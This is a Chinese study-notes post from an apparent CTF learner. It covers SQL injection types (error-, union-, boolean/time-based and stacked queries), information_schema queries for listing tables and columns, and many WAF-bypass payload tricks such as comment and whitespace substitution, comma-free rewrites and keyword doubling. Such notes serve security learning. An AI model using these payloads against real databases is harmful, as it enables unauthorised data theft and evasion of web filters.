sql注入从入门到入门
一直不会SQL注入,感觉师傅注的好熟练
今天学习一下(这是挖了个坑)
常见分类
按照SQLMAP的分类
基于布尔的盲注
基于时间的盲注
基于报错的注入
updatexml()
是利用了xpath syntax error
mysql> select * from book where type_id = 14 and (updatexml(1,concat(0x7e,(select user()),0x7e),1)); ERROR 1105 (HY000): XPATH syntax error: '~root@localhost~'
其中这里的
~
就是0x7e
,大概是为了显示更清楚吧extractvalue()
报错原理同updatexml
,所以用法也差不多select * from book where type_id = 14 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
区别在于
extractvalue
的调用方法是extractvalue(arg1, arg2)
,其中xpath
在arg2
的位置上
而updatexml
是updatexml(arg1, arg2, arg3)
,其中xpath
在arg2
的位置上floor()
感觉这个floor还是比前面两个复杂,先上一段payload,算了还是先上几个学习资源吧
http://www.cnblogs.com/xishaonian/p/6227405.html
https://www.zhihu.com/question/21031129
报错需要具备count(*),rand(),group by
基于union的注入
这个就比较常见啦
select n1,n2,n3 from xxx where id = 1 union select null, user(), null
只不过有的时候会有限制显示结果只显示一行,这个时候要控制原来查询不返回结果,比如使用id = -10086 union xxx
需要注意的地方是,类型要匹配,字段数量要匹配
字段类型匹配的问题,可以使用各种相容的null
来实现
字段数量的话,可以用order by field-n
select n1,n2,n3 from xxx where id =1 order by n
这个n是按照第n个字段排序,大于查询字段数量的时候会报错
堆叠查询注入
就是拿分号隔开,写多个sql语句,但默认的话
php+mysql不支持堆叠查询
具体支持情况看下面这个链接阔以
https://www.netsparker.com/blog/web-security/sql-injection-cheat-sheet/#StackingQueries
据说好像是php用pdo方式的话好像阔以支持堆叠查询
不过很少用过
注入过程
表名
这样子是一下子爆一个,通过控制limit n, 1
里面的n
来显示第几条
select table_name from information_schema.tables where table_schema=database() limit 1,1;
下面这个的话,用了group_concat
,就可以一下子都搞出来
select group_concat(table_name) from information_schema.tables where table_schema=database();
字段名
select group_concat(column_name) from information_schema.columns where table_name='your_table_name';
更换这个table_name='your_table_name'
就可以了,要是过滤掉单引号,可以使用十六进制table_name=0x???
bypass WAF
挖坑,然后填,一点一点积累
条件注释
这个条件注释好像只有mysql可用/!.../
类型注释有两种的/!select/
和/!50000select/
加了版本号的是高于这个版本执行
select from
过滤点常常在于
过滤掉了select from
这样子的组合,union select
也是一样的
例如
select field,1e0from tables;
select field /*!50000from*/ tables;
其实就是让select from看起来是一个selectxxxfrom
代替空格
空白字符
%09
,%0a
,%0b
,%0c
,%0d
,%a0
注释
/**/
,/*!*/
,/*!50000*/
数字
1.0
,1e0
NULL
id=\Nunion
这个\N
是NULL
所以自然也可以放到select这里咯
select\Nfrom(book);
运算符
就是对数字进行运算的+
,-
,~
,!
因为不能使用select1e0from
这样子的,虽然1e0from
这里没有问题
但select1e0
这里还是过不去,所以要运算符隔开
select~1e0from(book);
@
这个原理也不太懂好像是mysq的变量
只用@的话,后面没办法去掉空格
select@aa from book;
所以配合\
``
select@`type_id`from(book);
但发现,这里的type_id
即使是存在的字段,这里也是只会查到NULL
,
那这种加上@`` 的使用其实是没啥用??直接用@bypass掉前面的空格不就行了
好像是还有一种
select@^1e0from(book)
这里是由于可以引入数字所以可以bypass掉后面的空格而不报错,当然也可以@^1
,但不能搞掉后面的空格
卧槽,我大概疯了,这样子没法用啊,我这后面的内容都只是说这样子写不报错,但有的不能注
下面三个都只能用来括住字段名,表名
括号 ()
这个圆括号好像只能扩住字段
select * from(book);
括号 {}
这个没懂是什么鬼,这里的a换成a-z
好像都可以
但好像只能用在字段名这里
select * from{a book}where id = 1;
``
select * from`book`where id = 1;
所以他们可以使用的三个点{a someting}
来举例
select{x id}from{x book}where{x id}=1;
半个中文字符bypass注释
/**/
被过滤掉的时候/*e4*/
这样子中文字符开始的
函数执行
\
version`()`这样子也可以用
过滤掉单引号
用十六进制来bypass
逗号没了
- limit
limit 0,1 => limit 1 offset 1
- mid/substr
mid(database(), 0, 1) => mid(database() from 1 for 1)
- union
这个union处逗号过滤好像是上次DDCTF里用到了这个union select * from (select 1)a join (select 2)b jon (select 3)c
这个不知道怎么叫
很多地方都有类似的思想
比如select
被替换为空,这个时候就可以SELselectECT
*
被替换为空,这个时候不能/**/
,不能select *
是比较惨,但可以un*ion select
(也不一定绝对可以,看具体逻辑)
unicode
好像只是见于IIS,因为IIS解析unicode的缘故????
这里有个例子
连等
以前有个连等的例子忘记了,是啥where xxx='1'='0'
等想起来补充吧
过滤了字段名
DDCTF里遇到过滤了news表里的关键字段
select i.4 from (select 1,2,3,4 union select * from news)i
通过一个由join构建的临时表来union我们的news表,得到一个新的临时表i,这样子就能通过临时表i的字段来select出我们要的news表的数据
这里得到的新的表的字段就是1
,2
,3
,4
由于这个题目还过滤了逗号,所以实际上题目这一部分,还要过逗号,用上面的方法就是
select i.4 from (select * from (select 1)e join (select 2)f join (select 3)g join (select 4)h union select * from news)i
就是通过select * from (select 1)a join (select 2)b join (select 3)c join (select 4)d
来替换select 1,2,3,4
其他
二次注入
参考链接
https://www.secpulse.com/archives/4213.html (sqlmap使用说明)
http://www.cnblogs.com/REscan/p/7043705.html (偶然看到的,还没看)
http://www.cnblogs.com/r00tgrok/p/SQL_Injection_Bypassing_WAF_And_Evasion_Of_Filter.html (还没看)
https://www.secpulse.com/archives/50067.html
http://rainism-ashes.lofter.com/post/1d19feeb_887d7b6 (这个大佬blog疑似大量干货)